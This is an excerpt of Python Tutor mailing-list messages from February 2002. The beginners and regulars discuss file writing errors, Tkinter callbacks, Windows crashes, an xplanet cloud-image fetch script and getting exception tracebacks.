> >>> number_re.sub(str(l), '%s')
> '%s'


Yikes, I was supposed to edit that typo out from prying eyes.  *grin*


Here's an explanation of the error: my plan was to replace all the numbers
with '%s' characters... but I had accidently reversed the order of the
arguments!  Instead of replacing all instances of numbers in my list 'l',
instead I tried to replace all numbers in the string '%s' with 'l'.  
That's why I get back '%s', and why I hastily reverse my arguments in the
next interpreter command.



From e.kotyk@shaw.ca  Tue Feb 19 04:24:42 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Tue, 19 Feb 2002 04:24:42 +0000
Subject: [Tutor] creating files with python and a thanks
References: <Pine.LNX.4.21.0202181919100.15585-100000@hkn.eecs.berkeley.edu>
Message-ID: <3C71D38A.4F9407C0@shaw.ca>

Thanks Danny and Sheila for your help on this.  

Danny thanks for the recommended reading..and your tip on f.writelines()
will be very helpful for the next version.

E

Danny Yoo wrote:
> 
> On Mon, 18 Feb 2002, Eve Kotyk wrote:
> 
> > > Let's look at that error message you showed before:
> > >
> > > Traceback (innermost last):
> > >   File "<pyshell#78>", line 1, in ?
> > >     gather_data()
> > >   File "<pyshell#75>", line 9, in gather_data
> > >     f.write(output)
> > > TypeError: read-only buffer, list
> >
> > No problem but could you explain the error message a little?  I
> > assumed it meant that I had variable elements of a different type
> > (such as a string and integers) but I tried the code again using only
> > strings and I still got the same error.  What is a read-only buffer?
> 
> Yes, that error message was confusing, and according to:
> 
>     http://mail.python.org/pipermail/python-dev/2000-December/010845.html
> 
> the developers changed the message to make a little more sense.  *grin*
> Python 2.2 gives a better error message, so let me get it to error out in
> a similar way:
> 
> ###
> >>> f = open('foo.txt', 'w')
> >>> some_data = ['this is the first line', 'this is the second line']
> >>> f.write(42)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: argument 1 must be string or read-only character buffer, not
> int
> >>> f.write(some_data)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: argument 1 must be string or read-only character buffer, not
> list
> >>> f.write("ok, ok")
> >>>
> ###
> 
> So f.write() likes to see only strings.  By the way, if we want to write
> the contents of a bunch of strings in a list, we can use the
> f.writelines() function:
> 
>     http://www.python.org/doc/current/lib/bltin-file-objects.html
> 
> 'Character buffer' is a low level term that's roughly a synonym for
> "string", but I believe it's actually a little broader.  It's somewhat
> obscure: there's a mention of "buffers" in the documentation:
> 
>     http://www.python.org/doc/lib/built-in-funcs.html
> 
> with the "buffer()" function, as well as some reference material in the
> Python/C API:
> 
>     http://www.python.org/doc/current/api/bufferObjects.html
> 
> >From what I can gather: a character buffer is any object in Python that
> supports byte-oriented access, that is, stuff that's easy to write into a
> file.  Buffers provide a way to get access to data in a very low-level,
> efficient manner.  However, we probably won't ever need to manipulate
> buffers by hand, as the majority of "buffer" objects we run into are
> strings.  I guess I'm trying to say: don't worry about character buffers.
> *grin*
> 
> Hope this helps!
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From lsloan@umich.edu  Tue Feb 19 14:11:11 2002
From: lsloan@umich.edu (Lance E Sloan)
Date: Tue, 19 Feb 2002 09:11:11 -0500
Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks]
In-Reply-To: Your message of "Mon, 18 Feb 2002 19:18:15 PST."
 <Pine.LNX.4.21.0202181910480.15585-100000@hkn.eecs.berkeley.edu>
Message-ID: <200202191411.JAA10091@birds.us.itd.umich.edu>

Danny Yoo wrote:
> By the way, we don't really need lambda; I was using a shortcut.  We could
> alternatively do something like this:

Oh, sure.  That makes sense.  But I really like using the lambdas
instead.  That way I don't have to define a callback function for each
of the 3-4 ComboBoxes that are part of my class.  I don't need to think
up silly names that will just clutter up the namespace.

Actually, I started to write a callback function for my ComboBoxes.  I
tried to make it general enough that I could use it as the same
callback for each of the ComboBoxes I made.  I thought that I could get
a reference to the widget in question from the event that was passed
in.  However, I found that the event widget was the text entry field,
not the ComboBox.  When I looked to its master, I found that it, and
all of its ancestors were Frame widgets.  None were the ComboBox.  So,
I guess Pmw methods return references to Pmw objects, but if I work
backwards from part of a Pmw widget, I will only find the Tkinter
components.

> > Is there a mailing list somewhere that's dedicated to Python Tkinter
> > programming?
> 
> Dunno about this, but Tutor is a pretty good place to ask Tkinter
> questions.  I believe that Manning, publishers of "Python and Tkinter
> Programming", hosts a forum for people who have bought the book:
> 
> http://www.manning.com/getpage.html?project=grayson&filename=forum.html

I'll have a look there.  I asked because I've been reading Tutor for
more than a year now and I haven't noticed a lot of Tkinter
discussion.  Maybe if I search the archives, I'll find there's more
than I thought.  When I asked my question and I didn't see a lot of
responses quickly, I wondered if I were asking in the wrong forum.

Maybe I'm just an instant gratification junkie.  :)

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From lsloan@umich.edu  Tue Feb 19 14:28:19 2002
From: lsloan@umich.edu (Lance E Sloan)
Date: Tue, 19 Feb 2002 09:28:19 -0500
Subject: [Tutor] tree of my program's widgets?
Message-ID: <200202191428.JAA10348@birds.us.itd.umich.edu>

I've another Tkinter question.  I searched the web and Parnassus for
this, but didn't find anything.  Maybe I just used the wrong search
terms.

What I'm trying to find is a function that will produce a "tree-like"
listing of all widgets used in my program when I pass it a reference to
the "root" Tkinter object.  Or for that matter, passing a reference to
any Tkinter object will produce a tree with that widget as the root.

Anybody heard of such a thing?  If not, I'll try to write one myself.

Thanks in advance!

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From urnerk@qwest.net  Tue Feb 19 17:04:33 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Tue, 19 Feb 2002 09:04:33 -0800
Subject: [Tutor] Another example of Python at work
In-Reply-To: <200202191428.JAA10348@birds.us.itd.umich.edu>
Message-ID: <4.2.0.58.20020219085519.01acfe70@pop3.norton.antivirus>

Just to toss out another example of a project wherein
Python is proving very useful as a "glue language",
I offer my:

  http://www.inetarena.com/~pdx4d/ocn/sphpacking.html

What's going on here is we have this Java applet that
packs spheres in a particular way.  We want to use its
data to feed another free software package called
Qhull, and we want to view the results using free
rendering software (Povray) and VRML.

So Python comes in and does all the mediation between
the apps, reading sphere data, doing computations,
passing data out to Qhull, reading it back in, and
so on.  It's the kind of thing that you want to do
fairly quickly, and without trying to memorialize the
whole process in some perfect code.  A little worse
(than perfect) is better in this case.

Also, thanks to object-orientation, it's natural to
define "Ball" objects which correspond to the balls
in the packing.  These get properties and methods
related to finding all nearby neighbors, and for
rendering the results.  Python fits the problem,
because it fits your brain (or mine at least).

Kirby



From wolf_binary@hotmail.com  Wed Feb 20 01:20:16 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Tue, 19 Feb 2002 19:20:16 -0600
Subject: [Tutor] python 2.2
Message-ID: <DAV73X8KShPdHfKsp3M00006f40@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0038_01C1B97A.7660F960
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi to all,

Little bit of a problem.
I have Python 2.2 and when I'm programming Python 2.2 freezes up my =
computer and it stops responding.  I also have Windows 98 2nd endition =
as the OS.  I know that it is Python because it only happens when I'm =
using Python.  I also have the Vpython addition.  I also don't think =
that Vpython is the problem.  I am thinking that I should go back to 2.0 =
or maybe 1.5, but I don't want to because Vpython doesn't work with 1.5 =
I think.  Would someone offer some kind of suggestion about this =
problem?

Any help,
Cameron Stoner

------=_NextPart_000_0038_01C1B97A.7660F960
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi to all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Little bit of a problem.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have Python 2.2 and when I'm =
programming Python=20
2.2 freezes up my computer and it stops responding.&nbsp; I also have =
Windows 98=20
2nd endition as the OS.&nbsp; I know that it is Python because it only =
happens=20
when I'm using Python.&nbsp; I also have the Vpython addition.&nbsp; I =
also=20
don't think that Vpython is the problem.&nbsp; I am thinking that I =
should go=20
back to 2.0 or maybe 1.5, but I don't want to because Vpython doesn't =
work with=20
1.5 I think.&nbsp; Would someone offer some kind of suggestion about =
this=20
problem?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any help,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Cameron =
Stoner</FONT></DIV></BODY></HTML>

------=_NextPart_000_0038_01C1B97A.7660F960--


From urnerk@qwest.net  Wed Feb 20 02:03:16 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Tue, 19 Feb 2002 18:03:16 -0800
Subject: [Tutor] python 2.2
In-Reply-To: <DAV73X8KShPdHfKsp3M00006f40@hotmail.com>
Message-ID: <4.2.0.58.20020219180122.01ac3bd0@pop3.norton.antivirus>

At 07:20 PM 2/19/2002 -0600, Cameron Stoner wrote:
>Hi to all,
>
>Little bit of a problem.
>I have Python 2.2 and when I'm programming Python 2.2 freezes up my 
>computer and it stops responding.  I also have Windows 98 2nd endition as 
>the OS.  I know that it is Python because it only happens when I'm using 
>Python.  I also have the Vpython addition.  I also don't think that 
>Vpython is the problem.  I am thinking that I should go back to 2.0 or 
>maybe 1.5, but I don't want to because Vpython doesn't work with 1.5 I 
>think.  Would someone offer some kind of suggestion about this problem?
>
>Any help,
>Cameron Stoner

Do you have any kind of anti-virus software running, and,
if so, does disabling it help?  There were some Python
vs. Norton AntiVirus issues awhile back, though these
seem to have cleared up on my end.

Have you tried reinstalling 2.2 from the native installer?
When you say it freezes up, when does this happen?  Upon
booting Python?  After an hour of using?  Might helps to
provide more details.  In principle, nothing about the
Win98 + 2.2 combo should prevent smooth co-functioning.

Kirby



From dsh8290@rit.edu  Wed Feb 20 02:14:51 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 19 Feb 2002 21:14:51 -0500
Subject: [Tutor] python 2.2
In-Reply-To: <DAV73X8KShPdHfKsp3M00006f40@hotmail.com>
References: <DAV73X8KShPdHfKsp3M00006f40@hotmail.com>
Message-ID: <20020220021451.GB927@dman.ddts.net>

On Tue, Feb 19, 2002 at 07:20:16PM -0600, Cameron Stoner wrote:
| Hi to all,
| 
| Little bit of a problem.
| I have Python 2.2 and when I'm programming Python 2.2 freezes up my
| computer and it stops responding.  I also have Windows 98 2nd
| endition as the OS.

Here's part of the problem (win* isn't stable in the first place, I've
even crashed 2k many times)

| I know that it is Python because it only
| happens when I'm using Python.  I also have the Vpython addition.  I
| also don't think that Vpython is the problem. 

This is the other part of the problem.  Vpython uses quite a few CPU
cycles to keep track of everything you're doing to it and to draw
correctly.

I have Debian GNU/Linux (kernel 2.4.17) with python 2.2 and 2.1 with
vpython for both of them.  It works fine, but uses a significant
portion of my CPU (Duron 750).  I'm also using the VESA framebuffer as
the video driver, and it is not high-performance.

| I am thinking that I should go back to 2.0 or maybe 1.5, but I don't
| want to because Vpython doesn't work with 1.5 I think.  Would
| someone offer some kind of suggestion about this problem?

Seeing how you're working with windows, a reinstall may do the trick
for you.  Too bad '98 doesn't have any meter so you can see how hard
your CPU is cranking.

-D

-- 

Micros~1 :  
 For when quality, reliability 
  and security just aren't
   that important!



From tim.one@comcast.net  Wed Feb 20 04:03:40 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 19 Feb 2002 23:03:40 -0500
Subject: [Tutor] python 2.2
In-Reply-To: <20020220021451.GB927@dman.ddts.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEMHNNAA.tim.one@comcast.net>

[dman]
> ...
> Seeing how you're working with windows, a reinstall may do the trick
> for you.  Too bad '98 doesn't have any meter so you can see how hard
> your CPU is cranking.

Start -> Programs -> Accessories -> System Tools -> System Monitor.

You can also download a "wintop" program, which is better for this kind of
thing since it shows CPU usage per process (kinda like the Unix "top").
This is part of Microsoft's Win95 "Kernel Toys" set, but works fine on Win98
too.



From paulsid@shaw.ca  Wed Feb 20 05:01:30 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Tue, 19 Feb 2002 22:01:30 -0700
Subject: [Tutor] python 2.2
References: <LNBBLJKPBEHFEDALKOLCGEMHNNAA.tim.one@comcast.net>
Message-ID: <3C732DAA.E9D798BB@shaw.ca>

Tim Peters wrote:

> > Seeing how you're working with windows, a reinstall may do the trick
> > for you.  Too bad '98 doesn't have any meter so you can see how hard
> > your CPU is cranking.
> 
> Start -> Programs -> Accessories -> System Tools -> System Monitor.

I'm pretty sure none of 95/98/ME install this by default,
unfortunately.  That may be why some people can't find it.  To install
it manually, go to the Control Panel, then Add/Remove Programs, pick the
Windows Setup tab, then open the Details for the System Tools section
and check System Monitor (and anything else that sounds useful).

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From wilson@isis.visi.com  Wed Feb 20 05:02:21 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Tue, 19 Feb 2002 23:02:21 -0600 (CST)
Subject: [Tutor] Handy little xplanet script
Message-ID: <Pine.GSO.4.10.10202192253390.9954-100000@isis.visi.com>

Hey everyone,

I thought I'd share a little script I wrote. Other than the time it took
poking around in the time module's documentation, it didn't take long at
all and demonstrates a very practical and cool little use of Python.

I've been playing with xplanet lately, a very cool app that take an
image of the Earth and displays it as the background of your window
manager. It looks like there's a version that works with Windows, but I
haven't tried it. I run Linux on my workstation. Anyway, more info and
some really cool looking screenshots of xplanet in action can be found
at http://xplanet.sourceforge.net/

The author of xplanet produces a jpeg image every three hours taken from
satellite maps that show the actual cloud cover over the globe.
Very cool! I wanted to have my computer check periodically to make sure
I had the latest cloud image (I use cron to check every half hour) and
if not to download it so xplanet would use it the next time it refreshed
(every 10 minutes on my machine).

Sorry about the lengthy intro. :-) Here's the script:

--snip--
#!/usr/bin/env python

import urllib2, time, os

def retrieve(file, url):
    try:
        image = urllib2.urlopen(url).read()
        f = open(file, 'w')
        f.write(image)
        f.close()
    except HTTPError:  # HTTP 404 error
        pass  # Give up and try again later

CLOUD_FILE = '/home/wilson/tmp/clouds_2000.jpg'

# Check the Last-Modified header and turn it into
# a time tuple (in GMT).
url = 'http://xplanet.sourceforge.net/clouds_2000.jpg'
headers = urllib2.urlopen(url).info()  # Returns dictionary-like object
lastModified = headers['Last-Modified']
lm = time.strptime(lastModified, '%a, %d %b %Y %H:%M:%S GMT')

# Find out when the local clouds file was last modified and see
# which version is most recent.
try:
    stats = os.stat(CLOUD_FILE)
    st_ctime = stats[9]
    creationDate = time.gmtime(st_ctime)
    if lm > creationDate:
        retrieve(CLOUD_FILE, url)
except OSError:  # File doesn't exist
    retrieve(CLOUD_FILE, url)

--snip--

Have fun.

-Tim

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From idiot1@netzero.net  Wed Feb 20 06:27:41 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Wed, 20 Feb 2002 01:27:41 -0500
Subject: [Tutor] training wheels
Message-ID: <3C7341DD.E3C2A43B@netzero.net>

I am modifying TLpost.py to include a fairly intelligent set of
defaults so the novice
who just manages to get it working with no support files will be
presented with
minimally working and feature rich discussion lists. These cna be
over-ridden with 
files for each function.

PREFACE- no default. ONLY presernt if a file is defined for a list.

Per list Footer default: """
 -------------------------------------------------------------
 This is the testlist3 list.
 Click [REPLY] to send to poster, [REPLYALL] to send to list.
"""

Note the name of the list is inserted in it automatically.

Per list random: no default. Must be defined in file or is omitted.,

global default: """
You can manage your memberships at
http://www.tinylist.org/cgi-bin/TLwebmgr.py
"""

global random: no defgault, must be defined in a file or will be
omitted.

A default may be blocked by adding the related file WITH NOTHING IN
IT. So if you wanted NO footer, you would create a footer with "" as
the contents- that is, nothing at all, pr at most a CRLF.

TinyList now comes with training wheels.



-- 
 
end
	    Respectfully,
			 Kirk D Bailey


+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting your piece of SPAM. I am a postmaster, and take a dim view
of such.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From jonikas@ldr.lt  Wed Feb 20 09:10:02 2002
From: jonikas@ldr.lt (Jonikas Valdemaras)
Date: Wed, 20 Feb 2002 11:10:02 +0200
Subject: [Tutor] Teach Yourself Python in 24 Hours book
Message-ID: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local>

Hi all,

Could you please sketch your impressions regarding
Ivan Van Laningham's book "Teach Yourself Python
in 24 Hours".
Is it worth to use this book as first Python book
(I have no programming experience)?

Thanks,
Valdas



From wheelege@hotmail.com  Wed Feb 20 10:25:59 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Wed, 20 Feb 2002 21:25:59 +1100
Subject: [Tutor] Exceptions and wotnot
Message-ID: <DAV37p6FLw38dypIS99000229c5@hotmail.com>

  Hey guys,

  My current project is a matrix study tool for uni students - with a GUI
wrapper written in tkinter.
  When there is an error, I use code like this :- (copy and pasted from a
class method in the wrapper)

        rinput = self.inputbox.get("@0,0", END)
        try:
            self.matrix = gmatrix.Matrix(rinput)
        except Exception:
            popupmsg('Error creating Matrix.  Check your formatting and try
again.\n  Traceback provided below for debugging, ask me (Glen) if you think
this error to be in error')

  The problem here is that the message lies - there isn't a traceback.  What
I'd like, and have been searching for a way to do, is this :

#snippo
        except Exception:
            popupmsg('Error creating Matrix.  Check your formatting and try
again.\n  Traceback provided below for debugging, ask me (Glen) if you think
this error to be in error'+str(Exception))

  Or something like it.  What I want is the traceback message python usually
produces - but I can't seem to find it anywhere.  I did think of going...

except ValueError:
    popupmsg(customizedvalueerrormsg)
excpet IndexError:
    popupmsg(customizedindexerrormsg)

  But it's not really what I want.  Surely there must be some way of getting
the traceback, out of the except Excpeption: construct.  I dir()ed the
exception using a bit of toy code but revealed no hints...
  Anywho I don't want to resort to Black Magic if possible, and am hoping
that my inexperience with exceptions is the only problem here.  Can anybody
help me out?

  Thanks guys,
  Glen


From toodles@yifan.net  Wed Feb 20 12:46:00 2002
From: toodles@yifan.net (Andy W)
Date: Wed, 20 Feb 2002 20:46:00 +0800
Subject: [Tutor] Exceptions and wotnot
References: <DAV37p6FLw38dypIS99000229c5@hotmail.com>
Message-ID: <000501c1ba0c$8e3c3990$3100a8c0@sun>

>   But it's not really what I want.  Surely there must be some way of
getting
> the traceback, out of the except Excpeption: construct.  I dir()ed the

The "sys" module has a reference to the last traceback, strangely enough
called "last_traceback" ;)
You might also want to look at the "traceback" module, as it does some work
for you.

Example:

>>> this_is_just_to_create_an_error
Traceback (most recent call last):
  File "<pyshell#1>", line 1, in ?
    this_is_just_to_create_an_error
NameError: name 'this_is_just_to_create_an_error' is not defined
>>> import sys,traceback
>>> tb=sys.last_traceback
>>> tb_info=traceback.format_tb(tb)
>>> print tb_info
['  File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n
exec code in self.locals\n', '  File "<pyshell#1>", line 1, in ?\n
this_is_just_to_create_an_error\n']
>>> print ''.join(tb_info)
  File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode
    exec code in self.locals
  File "<pyshell#1>", line 1, in ?
    this_is_just_to_create_an_error

>>>

HTH,
Andy

>   Thanks guys,
>   Glen
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From arcege@speakeasy.net  Wed Feb 20 13:29:08 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Wed, 20 Feb 2002 08:29:08 -0500
Subject: [Tutor] Exceptions and wotnot
In-Reply-To: <000501c1ba0c$8e3c3990$3100a8c0@sun>; from toodles@yifan.net on Wed, Feb 20, 2002 at 08:46:00PM +0800
References: <DAV37p6FLw38dypIS99000229c5@hotmail.com> <000501c1ba0c$8e3c3990$3100a8c0@sun>
Message-ID: <20020220082908.B894@speakeasy.net>

On Wed, Feb 20, 2002 at 08:46:00PM +0800, Andy W wrote:
> >   But it's not really what I want.  Surely there must be some way of
> getting
> > the traceback, out of the except Excpeption: construct.  I dir()ed the
> 
> The "sys" module has a reference to the last traceback, strangely enough
> called "last_traceback" ;)
> You might also want to look at the "traceback" module, as it does some work
> for you.

Actually, last_traceback is the previous traceback, not the current one.
If you put your call in a try-expect: statement, then it would be in
exc_traceback.  Because of a "feature" of the interactive interpreter,
the exc_* values get put into last_* at the end of the executed statement.

Some things to know:

1.  Import traceback before you need it (before the exception occurs).

2.  If you are using threads, use sys.exc_info().  There are thread
    specific exceptions and sys.exc_info will get those for you.  The
    sys.exc_* values will be of either the main thread or last exception
    (I can't remember which, and the behavior is undefined anyway).

    (You probably don't want to have a thread display a popup to a
    Tkinter window, but there are ways to do that too.)

3.  There are a lot of functions in the traceback module, pick the right
    one.

###
import string, sys, traceback
...
def main():
  try:
    ...
  exception:
    # display the usual Python exception output, but to a window
    exc, val, tb = sys.exc_info()
    formatted_lines = traceback.format_exception(exc, val, tb)
    exc_output = string.join(formatted_lines)
    popup(exc_output)
###

Using the last_traceback value would get you the wrong info.

  -Arcege



From mdearman@inficad.com  Wed Feb 20 13:55:48 2002
From: mdearman@inficad.com (Michael Dearman)
Date: Wed, 20 Feb 2002 06:55:48 -0700
Subject: [Tutor] Teach Yourself Python in 24 Hours book
References: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local>
Message-ID: <3C73AAE4.837FD52B@inficad.com>


Jonikas Valdemaras wrote:
> 
> Hi all,
> 
> Could you please sketch your impressions regarding
> Ivan Van Laningham's book "Teach Yourself Python
> in 24 Hours".
> Is it worth to use this book as first Python book
> (I have no programming experience)?
> 
> Thanks,
> Valdas

Hi,
I know not Laningham's book. But here's a good set of Python book
reviews. I see that Laningham's book is on the todo list.
MD

http://www-106.ibm.com/developerworks/linux/library/l-cp12.html
http://www-106.ibm.com/developerworks/linux/library/l-pbook2.html


From wheelege@hotmail.com  Wed Feb 20 13:43:16 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Thu, 21 Feb 2002 00:43:16 +1100
Subject: [Tutor] Exceptions and wotnot
References: <DAV37p6FLw38dypIS99000229c5@hotmail.com> <000501c1ba0c$8e3c3990$3100a8c0@sun>
Message-ID: <DAV39054vSXSMoU6Z6r00022d06@hotmail.com>

  Thanks alot Andy W!  I can't believe it was RTFM, after all that.  I hope
that importing sys doesn't add too much to the standalone version of the
program - it's 5MB already!  (2MB zipped)

  Thanks again,
  Glen


>
> The "sys" module has a reference to the last traceback, strangely enough
> called "last_traceback" ;)
> You might also want to look at the "traceback" module, as it does some
work
> for you.
>
> Example:
>
> >>> this_is_just_to_create_an_error
> Traceback (most recent call last):
>   File "<pyshell#1>", line 1, in ?
>     this_is_just_to_create_an_error
> NameError: name 'this_is_just_to_create_an_error' is not defined
> >>> import sys,traceback
> >>> tb=sys.last_traceback
> >>> tb_info=traceback.format_tb(tb)
> >>> print tb_info
> ['  File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n
> exec code in self.locals\n', '  File "<pyshell#1>", line 1, in ?\n
> this_is_just_to_create_an_error\n']
> >>> print ''.join(tb_info)
>   File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode
>     exec code in self.locals
>   File "<pyshell#1>", line 1, in ?
>     this_is_just_to_create_an_error
>
> >>>
>
> HTH,
> Andy
>



From wheelege@hotmail.com  Wed Feb 20 13:56:58 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Thu, 21 Feb 2002 00:56:58 +1100
Subject: [Tutor] Exceptions and wotnot
References: <DAV37p6FLw38dypIS99000229c5@hotmail.com> <000501c1ba0c$8e3c3990$3100a8c0@sun> <20020220082908.B894@speakeasy.net>
Message-ID: <DAV310wBrY3VaI0oZIi0000a6f3@hotmail.com>

From: "Michael P. Reilly" <arcege@speakeasy.net>

> On Wed, Feb 20, 2002 at 08:46:00PM +0800, Andy W wrote:
> >
> > The "sys" module has a reference to the last traceback, strangely enough
> > called "last_traceback" ;)
> > You might also want to look at the "traceback" module, as it does some
work
> > for you.
>
> Actually, last_traceback is the previous traceback, not the current one.
> If you put your call in a try-expect: statement, then it would be in
> exc_traceback.  Because of a "feature" of the interactive interpreter,
> the exc_* values get put into last_* at the end of the executed statement.
>

  Ah, the good old feature.  Thanks alot for pointing this out!  It will
surely save alot of trouble :).

> Some things to know:
>
> 1.  Import traceback before you need it (before the exception occurs).
>

  I didn't even know the module existed.  For shame!  That's why I looked in
the tutorial instead of lib, but in there I did see something about sys -
just didn't click to go follow it up.


> 2.  If you are using threads, use sys.exc_info().  There are thread
>     specific exceptions and sys.exc_info will get those for you.  The
>     sys.exc_* values will be of either the main thread or last exception
>     (I can't remember which, and the behavior is undefined anyway).
>

  Indeed.  My program does use some threaded operations, but threaded GUI
operations are the causes of crashes - I learnt my lesson last time.  A
game, constructed entirely of tkinter/python code (pygame not given to me as
an option) which crashed all the time.  Eventually, after my questions here,
the gracious Tim Peters came to my rescue...if you could call it that.
Basically I needed to rewrite a bunch of my code so that all GUI operations
were handled in the main thread, and only calculations went on in the
auxilary thread.  I was lazy not to do it that way regardless, but...lesson
learned.

>     (You probably don't want to have a thread display a popup to a
>     Tkinter window, but there are ways to do that too.)
>

  Yup.  Dunno about popping up a window in a thread, but any intensive GUI
interaction between threads seems to cause any system to crash.

> 3.  There are a lot of functions in the traceback module, pick the right
>     one.
>
> ###
> import string, sys, traceback
> ...
> def main():
>   try:
>     ...
>   exception:
>     # display the usual Python exception output, but to a window
>     exc, val, tb = sys.exc_info()
>     formatted_lines = traceback.format_exception(exc, val, tb)
>     exc_output = string.join(formatted_lines)
>     popup(exc_output)
> ###
>
> Using the last_traceback value would get you the wrong info.
>

  Thanks again.  I don't mean any harm to Andy W - he still 'showed me the
way' so to speak.  I am grateful to you both :)

  Glen


From toodles@yifan.net  Wed Feb 20 14:05:49 2002
From: toodles@yifan.net (Andy W)
Date: Wed, 20 Feb 2002 22:05:49 +0800
Subject: [Tutor] Exceptions and wotnot
References: <DAV37p6FLw38dypIS99000229c5@hotmail.com> <000501c1ba0c$8e3c3990$3100a8c0@sun> <DAV39054vSXSMoU6Z6r00022d06@hotmail.com>
Message-ID: <001301c1ba17$b455f1b0$3100a8c0@sun>

>   Thanks alot Andy W!  I can't believe it was RTFM, after all that.  I
hope
> that importing sys doesn't add too much to the standalone version of the
> program - it's 5MB already!  (2MB zipped)
>
>   Thanks again,
>   Glen

No worries. I never say RTFM ;)
Sorry if I misled you by using last_traceback rather than exc_traceback (see
Arcege's email). Thanks for correcting me Arcege, I wasn't paying enough
attention to what I was doing, and wasn't using the try-except as was used
in the original.

Andy

>
>
> >
> > The "sys" module has a reference to the last traceback, strangely enough
> > called "last_traceback" ;)
> > You might also want to look at the "traceback" module, as it does some
> work
> > for you.
> >
> > Example:
> >
> > >>> this_is_just_to_create_an_error
> > Traceback (most recent call last):
> >   File "<pyshell#1>", line 1, in ?
> >     this_is_just_to_create_an_error
> > NameError: name 'this_is_just_to_create_an_error' is not defined
> > >>> import sys,traceback
> > >>> tb=sys.last_traceback
> > >>> tb_info=traceback.format_tb(tb)
> > >>> print tb_info
> > ['  File "C:\\PYTHON22\\Tools\\idle\\PyShell.py", line 274, in runcode\n
> > exec code in self.locals\n', '  File "<pyshell#1>", line 1, in ?\n
> > this_is_just_to_create_an_error\n']
> > >>> print ''.join(tb_info)
> >   File "C:\PYTHON22\Tools\idle\PyShell.py", line 274, in runcode
> >     exec code in self.locals
> >   File "<pyshell#1>", line 1, in ?
> >     this_is_just_to_create_an_error
> >
> > >>>
> >
> > HTH,
> > Andy
> >
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From mdearman@inficad.com  Wed Feb 20 14:25:24 2002
From: mdearman@inficad.com (Michael Dearman)
Date: Wed, 20 Feb 2002 07:25:24 -0700
Subject: [Tutor] Resources: The IBM site
Message-ID: <3C73B1D4.ADA64830@inficad.com>

Just thought I'd give this site a plug. As a newbie in Python I've
found it a great resource, but haven't seen many links to it.

http://www-106.ibm.com/developerworks/linux/library/l-cp12.html

To get to the Python stuff just do a site search on 'Python' (duh)
and something like 120 articles/papers come up.

MD


From garber@centralcatholic.org  Wed Feb 20 14:25:10 2002
From: garber@centralcatholic.org (Robert Garber)
Date: Wed, 20 Feb 2002 09:25:10 -0500
Subject: [Tutor] NEWBIE- how to make a program continue
Message-ID: <200202200925.AA711721422@centralcatholic.org>

I am very NEW to programing. Here is my question. I have written a small program( with the help of teaching python in 24 hours) I added the year = input line it works well except i want it to countue doing what it does utill i tell it to stop. How do I do this?

below is the script i am using

def julian_leap (y) :
